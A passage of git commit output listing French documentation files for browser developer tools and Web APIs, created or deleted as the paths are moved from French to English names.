"files/fr/outils/inspecteur/comment/inspecter_et_s\303\251lectionner_des_couleurs/index.html" delete mode 100644 files/fr/outils/inspecteur/comment/ouvrir_l_inspecteur/index.html delete mode 100644 "files/fr/outils/inspecteur/comment/pr\303\251visualiser_des_images_de_fond/index.html" delete mode 100644 files/fr/outils/inspecteur/comment/reposition_elements_in_the_page/index.html delete mode 100644 files/fr/outils/inspecteur/comment/select_and_highlight_elements/index.html delete mode 100644 "files/fr/outils/inspecteur/comment/s\303\251lectionner_un_\303\251l\303\251ment/index.html" delete mode 100644 files/fr/outils/inspecteur/comment/utiliser_l_api_de_l_inspecteur/index.html delete mode 100644 files/fr/outils/inspecteur/comment/utiliser_l_inspecteur_depuis_la_console_web/index.html delete mode 100644 files/fr/outils/inspecteur/comment/visualiser_les_transformations/index.html delete mode 100644 files/fr/outils/inspecteur/comment/work_with_animations/animation_inspector_(firefox_41_and_42)/index.html delete mode 100644 files/fr/outils/inspecteur/comment/work_with_animations/animation_inspector_example_colon__web_animations_api/index.html delete mode 100644 files/fr/outils/inspecteur/comment/work_with_animations/animations_examples/index.html delete mode 100644 files/fr/outils/inspecteur/comment/work_with_animations/index.html delete mode 100644 files/fr/outils/inspecteur/index.html delete mode 100644 files/fr/outils/inspecteur/panneau_html/index.html delete mode 100644 files/fr/outils/inspecteur/raccourcis_clavier/index.html delete mode 100644 files/fr/outils/inspecteur/ui_tour/index.html delete mode 100644 files/fr/outils/inspecteur_accessibilite/index.html delete mode 100644 files/fr/outils/inspecteur_accessibilite/simulation/index.html delete mode 100644 files/fr/outils/json_viewer/index.html delete mode 100644 files/fr/outils/measure_a_portion_of_the_page/index.html delete mode 100644 files/fr/outils/memory/aggregate_view/index.html delete mode 100644 files/fr/outils/memory/basic_operations/index.html delete mode 100644 files/fr/outils/memory/comparing_heap_snapshots/index.html delete mode 100644 files/fr/outils/memory/dom_allocation_example/index.html delete mode 100644 files/fr/outils/memory/dominators/index.html delete mode 100644 files/fr/outils/memory/dominators_view/index.html delete mode 100644 files/fr/outils/memory/index.html delete mode 100644 files/fr/outils/memory/monster_example/index.html delete mode 100644 files/fr/outils/memory/open_the_memory_tool/index.html delete mode 100644 files/fr/outils/memory/take_a_heap_snapshot/index.html delete mode 100644 files/fr/outils/memory/tree_map_view/index.html delete mode 100644 files/fr/outils/migrating_from_firebug/index.html delete mode 100644 "files/fr/outils/moniteur_r\303\251seau/index.html" delete mode 100644 "files/fr/outils/moniteur_r\303\251seau/performance_analysis/index.html" delete mode 100644 "files/fr/outils/moniteur_r\303\251seau/recording/index.html" delete mode 100644 "files/fr/outils/moniteur_r\303\251seau/request_details/index.html" delete mode 100644 "files/fr/outils/moniteur_r\303\251seau/request_list/index.html" delete mode 100644 "files/fr/outils/moniteur_r\303\251seau/throttling/index.html" delete mode 100644 "files/fr/outils/moniteur_r\303\251seau/toolbar/index.html" delete mode 100644 "files/fr/outils/outils_boite_\303\240_outils/index.html" delete mode 100644 files/fr/outils/paint_flashing_tool/index.html delete mode 100644 files/fr/outils/performance/allocations/index.html delete mode 100644 files/fr/outils/performance/call_tree/index.html delete mode 100644 files/fr/outils/performance/examples/index.html delete mode 100644 files/fr/outils/performance/examples/sorting_algorithms_comparison/index.html delete mode 100644 files/fr/outils/performance/flame_chart/index.html delete mode 100644 files/fr/outils/performance/frame_rate/index.html delete mode 100644 files/fr/outils/performance/how_to/index.html delete mode 100644 files/fr/outils/performance/index.html delete mode 100644 files/fr/outils/performance/scenarios/animating_css_properties/index.html delete mode 100644 files/fr/outils/performance/scenarios/index.html delete mode 100644 files/fr/outils/performance/scenarios/intensive_javascript/index.html delete mode 100644 files/fr/outils/performance/ui_tour/index.html delete mode 100644 files/fr/outils/performance/waterfall/index.html delete mode 100644 "files/fr/outils/pipette_\303\240_couleur/index.html" delete mode 100644 files/fr/outils/raccourcis_claviers/index.html delete mode 100644 files/fr/outils/responsive_design_mode_(before_firefox_52)/index.html delete mode 100644 files/fr/outils/rulers/index.html delete mode 100644 files/fr/outils/settings/index.html delete mode 100644 files/fr/outils/taking_screenshots/index.html delete mode 100644 files/fr/outils/tips/index.html delete mode 100644 files/fr/outils/travailler_avec_les_iframes/index.html delete mode 100644 files/fr/outils/validateurs/index.html delete mode 100644 files/fr/outils/view_source/index.html delete mode 100644 files/fr/outils/vue_3d/index.html delete mode 100644 files/fr/outils/vue_adaptative/index.html delete mode 100644 "files/fr/outils/\303\251diteur_de_style/index.html" create mode 100644 files/fr/plugins/guide/constants/index.html delete mode 100644 "files/fr/r\303\251f\303\251rence_dom_gecko/index.html" delete mode 100644 files/fr/sgml/index.html delete mode 100644 files/fr/svg_dans_firefox/index.html create mode 100644 files/fr/tools/3d_view/index.html create mode 100644 files/fr/tools/about_colon_debugging/about_colon_debugging_before_firefox_68/index.html create mode 100644 files/fr/tools/about_colon_debugging/index.html create mode 100644 files/fr/tools/accessibility_inspector/index.html create mode 100644 files/fr/tools/accessibility_inspector/simulation/index.html create mode 100644 files/fr/tools/accessing_the_developer_tools/index.html create mode 100644 files/fr/tools/browser_console/index.html create mode 100644 files/fr/tools/browser_toolbox/index.html create mode 100644 files/fr/tools/debugger/break_on_dom_mutation/index.html create mode 100644 files/fr/tools/debugger/how_to/access_debugging_in_add-ons/index.html create mode 100644 files/fr/tools/debugger/how_to/breaking_on_exceptions/index.html create mode 100644 files/fr/tools/debugger/how_to/debug_eval_sources/index.html create mode 100644 files/fr/tools/debugger/how_to/disable_breakpoints/index.html create mode 100644 files/fr/tools/debugger/how_to/highlight_and_inspect_dom_nodes/index.html create mode 100644 files/fr/tools/debugger/how_to/ignore_a_source/index.html create mode 100644 files/fr/tools/debugger/how_to/index.html create mode 100644 files/fr/tools/debugger/how_to/open_the_debugger/index.html create mode 100644 files/fr/tools/debugger/how_to/pretty-print_a_minified_file/index.html create mode 100644 files/fr/tools/debugger/how_to/search/index.html create mode 100644 files/fr/tools/debugger/how_to/set_a_breakpoint/index.html create mode 100644 files/fr/tools/debugger/how_to/set_a_conditional_breakpoint/index.html create mode 100644 files/fr/tools/debugger/how_to/set_watch_expressions/index.html create mode 100644 files/fr/tools/debugger/how_to/step_through_code/index.html create mode 100644 files/fr/tools/debugger/how_to/use_a_source_map/index.html create mode 100644 files/fr/tools/debugger/index.html create mode 100644 files/fr/tools/debugger/keyboard_shortcuts/index.html create mode 100644 files/fr/tools/debugger/set_an_xhr_breakpoint/index.html create mode 100644 files/fr/tools/debugger/source_map_errors/index.html create mode 100644 files/fr/tools/debugger/ui_tour/index.html create mode 100644 files/fr/tools/devtoolsapi/index.html create mode 100644 files/fr/tools/devtoolscolors/index.html create mode 100644 files/fr/tools/dom_property_viewer/index.html create mode 100644 files/fr/tools/eyedropper/index.html create mode 100644 files/fr/tools/firefox_os_simulator_clone/index.html create mode 100644 files/fr/tools/index.html create mode 100644 files/fr/tools/index/index.html create mode 100644 files/fr/tools/json_viewer/index.html create mode 100644 files/fr/tools/keyboard_shortcuts/index.html create mode 100644 files/fr/tools/measure_a_portion_of_the_page/index.html create mode 100644 files/fr/tools/memory/aggregate_view/index.html create mode 100644 files/fr/tools/memory/basic_operations/index.html create mode 100644 files/fr/tools/memory/dom_allocation_example/index.html create mode 100644 files/fr/tools/memory/dominators/index.html create mode 100644 files/fr/tools/memory/dominators_view/index.html create mode 100644 files/fr/tools/memory/index.html create mode 100644 files/fr/tools/memory/monster_example/index.html create mode 100644 files/fr/tools/memory/tree_map_view/index.html create mode 100644 files/fr/tools/migrating_from_firebug/index.html create mode 100644 files/fr/tools/network_monitor/index.html create mode 100644 files/fr/tools/network_monitor/performance_analysis/index.html create mode 100644 files/fr/tools/network_monitor/recording/index.html create mode 100644 files/fr/tools/network_monitor/request_details/index.html create mode 100644 files/fr/tools/network_monitor/request_list/index.html create mode 100644 files/fr/tools/network_monitor/throttling/index.html create mode 100644 files/fr/tools/network_monitor/toolbar/index.html create mode 100644 files/fr/tools/page_inspector/3-pane_mode/index.html create mode 100644 files/fr/tools/page_inspector/how_to/edit_css_filters/index.html create mode 100644 files/fr/tools/page_inspector/how_to/examine_and_edit_css/index.html create mode 100644 files/fr/tools/page_inspector/how_to/examine_and_edit_html/index.html create mode 100644 files/fr/tools/page_inspector/how_to/examine_and_edit_the_box_model/index.html create mode 100644 files/fr/tools/page_inspector/how_to/examine_event_listeners/index.html create mode 100644 files/fr/tools/page_inspector/how_to/examine_grid_layouts/index.html create mode 100644 files/fr/tools/page_inspector/how_to/index.html create mode 100644 files/fr/tools/page_inspector/how_to/inspect_and_select_colors/index.html create mode 100644 files/fr/tools/page_inspector/how_to/open_the_inspector/index.html create mode 100644 files/fr/tools/page_inspector/how_to/reposition_elements_in_the_page/index.html create mode 100644 files/fr/tools/page_inspector/how_to/select_an_element/index.html create mode 100644 files/fr/tools/page_inspector/how_to/select_and_highlight_elements/index.html create mode 100644 files/fr/tools/page_inspector/how_to/use_the_inspector_api/index.html create mode 100644 files/fr/tools/page_inspector/how_to/use_the_inspector_from_the_web_console/index.html create mode 100644 files/fr/tools/page_inspector/how_to/view_background_images/index.html create mode 100644 files/fr/tools/page_inspector/how_to/visualize_transforms/index.html create mode 100644 files/fr/tools/page_inspector/how_to/work_with_animations/animation_inspector_(firefox_41_and_42)/index.html create mode 100644 files/fr/tools/page_inspector/how_to/work_with_animations/animation_inspector_example_colon__css_transitions/index.html create mode 100644 files/fr/tools/page_inspector/how_to/work_with_animations/animation_inspector_example_colon__web_animations_api/index.html create mode 100644 files/fr/tools/page_inspector/how_to/work_with_animations/index.html create mode 100644 files/fr/tools/page_inspector/index.html create mode 100644 files/fr/tools/page_inspector/keyboard_shortcuts/index.html create mode 100644 files/fr/tools/page_inspector/ui_tour/index.html create mode 100644 files/fr/tools/paint_flashing_tool/index.html create mode 100644 files/fr/tools/performance/allocations/index.html create mode 100644 files/fr/tools/performance/call_tree/index.html create mode 100644 files/fr/tools/performance/examples/index.html create mode 100644 files/fr/tools/performance/examples/sorting_algorithms_comparison/index.html create mode 100644 files/fr/tools/performance/flame_chart/index.html create mode 100644 files/fr/tools/performance/frame_rate/index.html create mode 100644 files/fr/tools/performance/how_to/index.html create mode 100644 files/fr/tools/performance/index.html create mode 100644 files/fr/tools/performance/scenarios/animating_css_properties/index.html create mode 100644 files/fr/tools/performance/scenarios/index.html create mode 100644 files/fr/tools/performance/scenarios/intensive_javascript/index.html create mode 100644 files/fr/tools/performance/ui_tour/index.html create mode 100644 files/fr/tools/performance/waterfall/index.html create mode 100644 files/fr/tools/remote_debugging/chrome_desktop/index.html create mode 100644 files/fr/tools/remote_debugging/debugging_firefox_desktop/index.html create mode 100644 files/fr/tools/remote_debugging/debugging_firefox_for_android_with_webide/index.html create mode 100644 files/fr/tools/remote_debugging/index.html create mode 100644 files/fr/tools/remote_debugging/thunderbird/index.html create mode 100644 files/fr/tools/responsive_design_mode/index.html create mode 100644 files/fr/tools/rulers/index.html create mode 100644 files/fr/tools/settings/index.html create mode 100644 files/fr/tools/shader_editor/index.html create mode 100644 files/fr/tools/style_editor/index.html create mode 100644 files/fr/tools/taking_screenshots/index.html create mode 100644 files/fr/tools/tips/index.html create mode 100644 files/fr/tools/tools_toolbox/index.html create mode 100644 files/fr/tools/validators/index.html create mode 100644 files/fr/tools/view_source/index.html create mode 100644 files/fr/tools/web_audio_editor/index.html create mode 100644 files/fr/tools/web_console/console_messages/index.html create mode 100644 files/fr/tools/web_console/helpers/index.html create mode 100644 files/fr/tools/web_console/index.html create mode 100644 files/fr/tools/web_console/keyboard_shortcuts/index.html create mode 100644 files/fr/tools/web_console/rich_output/index.html create mode 100644 files/fr/tools/web_console/split_console/index.html create mode 100644 files/fr/tools/web_console/the_command_line_interpreter/index.html create mode 100644 files/fr/tools/web_console/ui_tour/index.html create mode 100644 files/fr/tools/working_with_iframes/index.html delete mode 100644 files/fr/tosource/index.html delete mode 100644 files/fr/tostring/index.html delete mode 100644 files/fr/type_mime_incorrect_pour_les_fichiers_css/index.html delete mode 100644 files/fr/un_raycaster_basique_avec_canvas/index.html delete mode 100644 files/fr/utilisation_de_xpath/index.html delete mode 100644 files/fr/utilisation_du_cache_de_firefox_1.5/index.html create mode 100644 files/fr/web/accessibility/an_overview_of_accessible_web_applications_and_widgets/index.html create mode 100644 files/fr/web/accessibility/aria/aria_guides/index.html create mode 100644 files/fr/web/accessibility/aria/aria_live_regions/index.html create mode 100644 files/fr/web/accessibility/aria/aria_techniques/aria_technique_template/index.html create mode 100644 files/fr/web/accessibility/aria/aria_techniques/index.html create mode 100644 files/fr/web/accessibility/aria/aria_techniques/using_the_alert_role/index.html create mode 100644 files/fr/web/accessibility/aria/aria_techniques/using_the_alertdialog_role/index.html create mode 100644 files/fr/web/accessibility/aria/aria_techniques/using_the_aria-describedby_attribute/index.html create mode 100644 files/fr/web/accessibility/aria/aria_techniques/using_the_aria-invalid_attribute/index.html create mode 100644 files/fr/web/accessibility/aria/aria_techniques/using_the_aria-label_attribute/index.html create mode 100644 files/fr/web/accessibility/aria/aria_techniques/using_the_aria-labelledby_attribute/index.html create mode 100644 files/fr/web/accessibility/aria/aria_techniques/using_the_aria-orientation_attribute/index.html create mode 100644 files/fr/web/accessibility/aria/aria_techniques/using_the_aria-relevant_attribute/index.html create mode 100644 files/fr/web/accessibility/aria/aria_techniques/using_the_aria-required_attribute/index.html create mode 100644 files/fr/web/accessibility/aria/aria_techniques/using_the_aria-valuemax_attribute/index.html create mode 100644 files/fr/web/accessibility/aria/aria_techniques/using_the_aria-valuemin_attribute/index.html create mode 100644 files/fr/web/accessibility/aria/aria_techniques/using_the_aria-valuenow_attribute/index.html create mode 100644 files/fr/web/accessibility/aria/aria_techniques/using_the_aria-valuetext_attribute/index.html create mode 100644 files/fr/web/accessibility/aria/aria_techniques/using_the_article_role/index.html create mode 100644 files/fr/web/accessibility/aria/aria_techniques/using_the_group_role/index.html create mode 100644 files/fr/web/accessibility/aria/aria_techniques/using_the_link_role/index.html create mode 100644 files/fr/web/accessibility/aria/aria_techniques/using_the_log_role/index.html create mode 100644 files/fr/web/accessibility/aria/aria_techniques/using_the_presentation_role/index.html create mode 100644 files/fr/web/accessibility/aria/aria_techniques/using_the_progressbar_role/index.html create mode 100644 files/fr/web/accessibility/aria/aria_techniques/using_the_radio_role/index.html create mode 100644 files/fr/web/accessibility/aria/aria_techniques/using_the_slider_role/index.html create mode 100644 files/fr/web/accessibility/aria/aria_techniques/using_the_status_role/index.html create mode 100644 files/fr/web/accessibility/aria/aria_techniques/using_the_toolbar_role/index.html create mode 100644 files/fr/web/accessibility/aria/forms/alerts/index.html create mode 100644 files/fr/web/accessibility/aria/forms/basic_form_hints/index.html create mode 100644 files/fr/web/accessibility/aria/forms/index.html create mode 100644 files/fr/web/accessibility/aria/forms/multipart_labels/index.html create mode 100644 files/fr/web/accessibility/aria/how_to_file_aria-related_bugs/index.html create mode 100644 files/fr/web/accessibility/aria/index.html create mode 100644 files/fr/web/accessibility/aria/roles/banner_role/index.html create mode 100644 files/fr/web/accessibility/aria/roles/button_role/index.html create mode 100644 files/fr/web/accessibility/aria/roles/checkbox_role/index.html create mode 100644 files/fr/web/accessibility/aria/roles/dialog_role/index.html create mode 100644 files/fr/web/accessibility/aria/roles/listbox_role/index.html create mode 100644 files/fr/web/accessibility/aria/roles/switch_role/index.html create mode 100644 files/fr/web/accessibility/aria/roles/textbox_role/index.html create mode 100644 files/fr/web/accessibility/aria/web_applications_and_aria_faq/index.html create mode 100644 files/fr/web/accessibility/community/index.html create mode 100644 files/fr/web/accessibility/index.html create mode 100644 files/fr/web/accessibility/keyboard-navigable_javascript_widgets/index.html create mode 100644 files/fr/web/accessibility/mobile_accessibility_checklist/index.html create mode 100644 files/fr/web/accessibility/understanding_wcag/perceivable/color_contrast/index.html delete mode 100644 files/fr/web/accessibility/understanding_wcag/perceivable/contraste_de_la_couleur/index.html create mode 100644 files/fr/web/api/ambient_light_events/index.html delete mode 100644 files/fr/web/api/animationeffecttimingproperties/delay/index.html delete mode 100644 files/fr/web/api/animationeffecttimingproperties/index.html delete mode 100644 files/fr/web/api/api_fichier_systeme/index.html delete mode 100644 files/fr/web/api/api_html_drag_and_drop/index.html delete mode 100644 "files/fr/web/api/api_html_drag_and_drop/op\303\251rations_de_glissement/index.html" delete mode 100644 files/fr/web/api/api_indexeddb/basic_concepts_behind_indexeddb/index.html delete mode 100644 files/fr/web/api/api_indexeddb/browser_storage_limits_and_eviction_criteria/index.html delete mode 100644 files/fr/web/api/api_indexeddb/index.html delete mode 100644 files/fr/web/api/api_indexeddb/using_indexeddb/index.html delete mode 100644 files/fr/web/api/audiocontext/creategain/index.html create mode 100644 files/fr/web/api/baseaudiocontext/creategain/index.html create mode 100644 files/fr/web/api/canvas_api/a_basic_ray-caster/index.html create mode 100644 files/fr/web/api/canvas_api/manipulating_video_using_canvas/index.html create mode 100644 files/fr/web/api/canvas_api/tutorial/advanced_animations/index.html create mode 100644 files/fr/web/api/canvas_api/tutorial/applying_styles_and_colors/index.html create mode 100644 files/fr/web/api/canvas_api/tutorial/basic_animations/index.html create mode 100644 files/fr/web/api/canvas_api/tutorial/basic_usage/index.html create mode 100644 files/fr/web/api/canvas_api/tutorial/compositing/example/index.html create mode 100644 files/fr/web/api/canvas_api/tutorial/compositing/index.html create mode 100644 files/fr/web/api/canvas_api/tutorial/drawing_shapes/index.html create mode 100644 files/fr/web/api/canvas_api/tutorial/drawing_text/index.html create mode 100644 files/fr/web/api/canvas_api/tutorial/hit_regions_and_accessibility/index.html create mode 100644 files/fr/web/api/canvas_api/tutorial/index.html create mode 100644 files/fr/web/api/canvas_api/tutorial/optimizing_canvas/index.html create mode 100644 files/fr/web/api/canvas_api/tutorial/pixel_manipulation_with_canvas/index.html create mode 100644 files/fr/web/api/canvas_api/tutorial/transformations/index.html create mode 100644 files/fr/web/api/canvas_api/tutorial/using_images/index.html delete mode 100644 files/fr/web/api/canvas_api/tutoriel_canvas/advanced_animations/index.html delete mode 100644 files/fr/web/api/canvas_api/tutoriel_canvas/ajout_de_styles_et_de_couleurs/index.html delete mode 100644 files/fr/web/api/canvas_api/tutoriel_canvas/animations_basiques/index.html delete mode 100644 files/fr/web/api/canvas_api/tutoriel_canvas/composition/example/index.html delete mode 100644 files/fr/web/api/canvas_api/tutoriel_canvas/composition/index.html delete mode 100644 files/fr/web/api/canvas_api/tutoriel_canvas/dessin_de_texte_avec_canvas/index.html delete mode 100644 "files/fr/web/api/canvas_api/tutoriel_canvas/formes_g\303\251om\303\251triques/index.html" delete mode 100644 files/fr/web/api/canvas_api/tutoriel_canvas/hit_regions_and_accessibility/index.html delete mode 100644 files/fr/web/api/canvas_api/tutoriel_canvas/index.html delete mode 100644 files/fr/web/api/canvas_api/tutoriel_canvas/optimizing_canvas/index.html delete mode 100644 files/fr/web/api/canvas_api/tutoriel_canvas/pixel_manipulation_with_canvas/index.html delete mode 100644 files/fr/web/api/canvas_api/tutoriel_canvas/transformations/index.html delete mode 100644 files/fr/web/api/canvas_api/tutoriel_canvas/utilisation_d'images/index.html delete mode 100644 files/fr/web/api/canvas_api/tutoriel_canvas/utilisation_de_base/index.html create mode 100644 files/fr/web/api/crypto/getrandomvalues/index.html delete mode 100644 files/fr/web/api/cssmatrix/index.html create mode 100644 files/fr/web/api/detecting_device_orientation/index.html create mode 100644 files/fr/web/api/devicemotioneventrotationrate/alpha/index.html create mode 100644 files/fr/web/api/devicemotioneventrotationrate/beta/index.html create mode 100644 files/fr/web/api/devicemotioneventrotationrate/gamma/index.html create mode 100644 files/fr/web/api/devicemotioneventrotationrate/index.html delete mode 100644 files/fr/web/api/deviceorientationevent.absolute/index.html create mode 100644 files/fr/web/api/deviceorientationevent/absolute/index.html delete mode 100644 files/fr/web/api/devicerotationrate/alpha/index.html delete mode 100644 files/fr/web/api/devicerotationrate/beta/index.html delete mode 100644 files/fr/web/api/devicerotationrate/gamma/index.html delete mode 100644 files/fr/web/api/devicerotationrate/index.html delete mode 100644 files/fr/web/api/document/activeelement/index.html create mode 100644 files/fr/web/api/document/anchors/index.html delete mode 100644 files/fr/web/api/document/document.anchors/index.html delete mode 100644 files/fr/web/api/document/elementfrompoint/index.html delete mode 100644 files/fr/web/api/document/getselection/index.html create mode 100644 files/fr/web/api/document/readystatechange_event/index.html delete mode 100644 files/fr/web/api/document/stylesheets/index.html create mode 100644 files/fr/web/api/document_object_model/events/index.html create mode 100644 files/fr/web/api/document_object_model/examples/index.html delete mode 100644 files/fr/web/api/document_object_model/exemples/index.html create mode 100644 files/fr/web/api/document_object_model/how_to_create_a_dom_tree/index.html delete mode 100644 "files/fr/web/api/document_object_model/les_\303\251v\303\250nements_et_le_dom/index.html" delete mode 100644 "files/fr/web/api/document_object_model/localisation_des_\303\251l\303\251ments_dom_avec_les_s\303\251lecteurs/index.html" create mode 100644 files/fr/web/api/document_object_model/locating_dom_elements_using_selectors/index.html delete mode 100644 "files/fr/web/api/document_object_model/pr\303\251face/index.html" create mode 100644 files/fr/web/api/document_object_model/traversing_an_html_table_with_javascript_and_dom_interfaces/index.html create mode 100644 files/fr/web/api/document_object_model/using_the_w3c_dom_level_1_core/example/index.html create mode 100644 files/fr/web/api/document_object_model/using_the_w3c_dom_level_1_core/index.html delete mode 100644 files/fr/web/api/document_object_model/utilisation_du_dom_level_1_core_du_w3c/exemple/index.html delete mode 100644 files/fr/web/api/document_object_model/utilisation_du_dom_level_1_core_du_w3c/index.html create mode 100644 files/fr/web/api/documentorshadowroot/activeelement/index.html create mode 100644 files/fr/web/api/documentorshadowroot/elementfrompoint/index.html create mode 100644 files/fr/web/api/documentorshadowroot/getselection/index.html create mode 100644 files/fr/web/api/documentorshadowroot/stylesheets/index.html create mode 100644 files/fr/web/api/dommatrix/index.html create mode 100644 files/fr/web/api/effecttiming/delay/index.html create mode 100644 files/fr/web/api/effecttiming/index.html delete mode 100644 files/fr/web/api/element.blur/index.html delete mode 100644 files/fr/web/api/element/accesskey/index.html create mode 100644 files/fr/web/api/element/compositionend_event/index.html create mode 100644 files/fr/web/api/element/compositionstart_event/index.html create mode 100644 files/fr/web/api/element/compositionupdate_event/index.html create mode 100644 files/fr/web/api/element/copy_event/index.html create mode 100644 files/fr/web/api/element/error_event/index.html create mode 100644 files/fr/web/api/element/focusin_event/index.html create mode 100644 files/fr/web/api/element/focusout_event/index.html create mode 100644 files/fr/web/api/element/innerhtml/index.html delete mode 100644 files/fr/web/api/element/innerthtml/index.html delete mode 100644 files/fr/web/api/element/name/index.html delete mode 100644 files/fr/web/api/element/onwheel/index.html create mode 100644 files/fr/web/api/elementcssinlinestyle/style/index.html delete mode 100644 files/fr/web/api/entity/index.html delete mode 100644 files/fr/web/api/entityreference/index.html delete mode 100644 "files/fr/web/api/event/comparaison_des_cibles_d_\303\251v\303\250nements/index.html" create mode 100644 files/fr/web/api/event/comparison_of_event_targets/index.html delete mode 100644 files/fr/web/api/event/createevent/index.html create mode 100644 files/fr/web/api/file_and_directory_entries_api/index.html create mode 100644 files/fr/web/api/formdata/using_formdata_objects/index.html delete mode 100644 files/fr/web/api/formdata/utilisation_objets_formdata/index.html create mode 100644 files/fr/web/api/fullscreen_api/index.html create mode 100644 files/fr/web/api/gamepad_api/using_the_gamepad_api/index.html create mode 100644 files/fr/web/api/globaleventhandlers/onwheel/index.html create mode 100644 files/fr/web/api/history_api/example/index.html create mode 100644 files/fr/web/api/history_api/index.html create mode 100644 files/fr/web/api/html_drag_and_drop_api/drag_operations/index.html create mode 100644 files/fr/web/api/html_drag_and_drop_api/index.html create mode 100644 files/fr/web/api/htmlelement/accesskey/index.html create mode 100644 files/fr/web/api/htmlelement/animationend_event/index.html create mode 100644 files/fr/web/api/htmlelement/animationiteration_event/index.html create mode 100644 files/fr/web/api/htmlelement/animationstart_event/index.html delete mode 100644 files/fr/web/api/htmlelement/dataset/index.html delete mode 100644 files/fr/web/api/htmlelement/focus/index.html create mode 100644 files/fr/web/api/htmlelement/innertext/index.html delete mode 100644 files/fr/web/api/htmlelement/style/index.html delete mode 100644 files/fr/web/api/htmlelement/tabindex/index.html create mode 100644 files/fr/web/api/htmlelement/transitionend_event/index.html create mode 100644 files/fr/web/api/htmlformelement/submit_event/index.html delete mode 100644 files/fr/web/api/htmlformelement/submit_event_/index.html create mode 100644 files/fr/web/api/htmlhyperlinkelementutils/index.html create mode 100644 files/fr/web/api/htmlorforeignelement/blur/index.html create mode 100644 files/fr/web/api/htmlorforeignelement/dataset/index.html create mode 100644 files/fr/web/api/htmlorforeignelement/focus/index.html create mode 100644 files/fr/web/api/htmlorforeignelement/tabindex/index.html create mode 100644 files/fr/web/api/idbopendbrequest/blocked_event/index.html delete mode 100644 files/fr/web/api/idbrequest/blocked_event/index.html create mode 100644 files/fr/web/api/indexeddb_api/basic_concepts_behind_indexeddb/index.html create mode 100644 files/fr/web/api/indexeddb_api/browser_storage_limits_and_eviction_criteria/index.html create mode 100644 files/fr/web/api/indexeddb_api/index.html create mode 100644 files/fr/web/api/indexeddb_api/using_indexeddb/index.html create mode 100644 files/fr/web/api/media_streams_api/index.html delete mode 100644 files/fr/web/api/namelist/index.html create mode 100644 files/fr/web/api/navigator/getusermedia/index.html create mode 100644 files/fr/web/api/navigatoronline/online_and_offline_events/index.html delete mode 100644 "files/fr/web/api/navigatoronline/\303\251v\303\250nements_online_et_offline/index.html" create mode 100644 files/fr/web/api/network_information_api/index.html delete mode 100644 files/fr/web/api/node/baseuriobject/index.html delete mode 100644 files/fr/web/api/node/innertext/index.html delete mode 100644 files/fr/web/api/node/nodeprincipal/index.html delete mode 100644 files/fr/web/api/node/rootnode/index.html delete mode 100644 files/fr/web/api/notification/using_web_notifications/index.html create mode 100644 files/fr/web/api/notifications_api/using_the_notifications_api/index.html create mode 100644 files/fr/web/api/offlineaudiocontext/complete_event/index.html delete mode 100644 files/fr/web/api/pointer_events/gestes_pincer_zoom/index.html create mode 100644 files/fr/web/api/pointer_events/pinch_zoom_gestures/index.html create mode 100644 files/fr/web/api/pointer_lock_api/index.html create mode 100644 files/fr/web/api/proximity_events/index.html delete mode 100644 files/fr/web/api/randomsource/getrandomvalues/index.html create mode 100644 files/fr/web/api/scriptprocessornode/audioprocess_event/index.html delete mode 100644 files/fr/web/api/selection_api/index.html delete mode 100644 files/fr/web/api/storage/localstorage/index.html create mode 100644 files/fr/web/api/touch_events/index.html create mode 100644 files/fr/web/api/touch_events/supporting_both_touchevent_and_mouseevent/index.html delete mode 100644 files/fr/web/api/urlutils/index.html delete mode 100644 files/fr/web/api/web_workers_api/advanced_concepts_and_examples/index.html delete mode 100644 files/fr/web/api/web_workers_api/algorithme_clonage_structure/index.html create mode 100644 files/fr/web/api/web_workers_api/functions_and_classes_available_to_workers/index.html create mode 100644 files/fr/web/api/web_workers_api/structured_clone_algorithm/index.html create mode 100644 files/fr/web/api/web_workers_api/using_web_workers/index.html delete mode 100644 files/fr/web/api/web_workers_api/utilisation_des_web_workers/index.html delete mode 100644 files/fr/web/api/webgl_api/by_example/appliquer_des_couleurs/index.html delete mode 100644 "files/fr/web/api/webgl_api/by_example/appliquer_des_d\303\251coupes_simples/index.html" delete mode 100644 "files/fr/web/api/webgl_api/by_example/appliquer_une_couleur_\303\240_la_souris/index.html" create mode 100644 files/fr/web/api/webgl_api/by_example/basic_scissoring/index.html create mode 100644 files/fr/web/api/webgl_api/by_example/boilerplate_1/index.html create mode 100644 files/fr/web/api/webgl_api/by_example/canvas_size_and_webgl/index.html create mode 100644 files/fr/web/api/webgl_api/by_example/clearing_by_clicking/index.html create mode 100644 files/fr/web/api/webgl_api/by_example/clearing_with_colors/index.html create mode 100644 files/fr/web/api/webgl_api/by_example/color_masking/index.html delete mode 100644 "files/fr/web/api/webgl_api/by_example/cr\303\251er_une_animation_avec_d\303\251coupe_et_applique/index.html" delete mode 100644 "files/fr/web/api/webgl_api/by_example/cr\303\251er_une_animation_color\303\251e/index.html" create mode 100644 files/fr/web/api/webgl_api/by_example/detect_webgl/index.html delete mode 100644 "files/fr/web/api/webgl_api/by_example/d\303\251tecter_webgl/index.html" delete mode 100644 "files/fr/web/api/webgl_api/by_example/g\303\251n\303\251rer_des_textures_avec_du_code/index.html" create mode 100644 files/fr/web/api/webgl_api/by_example/hello_vertex_attributes/index.html delete mode 100644 files/fr/web/api/webgl_api/by_example/introduction_aux_attributs_vertex/index.html delete mode 100644 "files/fr/web/api/webgl_api/by_example/les_textures_vid\303\251os/index.html" delete mode 100644 files/fr/web/api/webgl_api/by_example/masque_de_couleur/index.html delete mode 100644 "files/fr/web/api/webgl_api/by_example/mod\303\250le_1/index.html" create mode 100644 files/fr/web/api/webgl_api/by_example/raining_rectangles/index.html create mode 100644 files/fr/web/api/webgl_api/by_example/scissor_animation/index.html create mode 100644 files/fr/web/api/webgl_api/by_example/simple_color_animation/index.html delete mode 100644 files/fr/web/api/webgl_api/by_example/tailles_de_canvas_et_webgl/index.html create mode 100644 files/fr/web/api/webgl_api/by_example/textures_from_code/index.html delete mode 100644 files/fr/web/api/webgl_api/by_example/une_pluie_de_rectangle/index.html create mode 100644 files/fr/web/api/webgl_api/by_example/video_textures/index.html create mode 100644 files/fr/web/api/webgl_api/data/index.html delete mode 100644 "files/fr/web/api/webgl_api/donn\303\251es/index.html" create mode 100644 files/fr/web/api/webgl_api/tutorial/adding_2d_content_to_a_webgl_context/index.html delete mode 100644 files/fr/web/api/webgl_api/tutorial/ajouter_des_couleurs_avec_les_shaders/index.html delete mode 100644 "files/fr/web/api/webgl_api/tutorial/ajouter_du_contenu_\303\240_webgl/index.html" create mode 100644 files/fr/web/api/webgl_api/tutorial/animating_objects_with_webgl/index.html create mode 100644 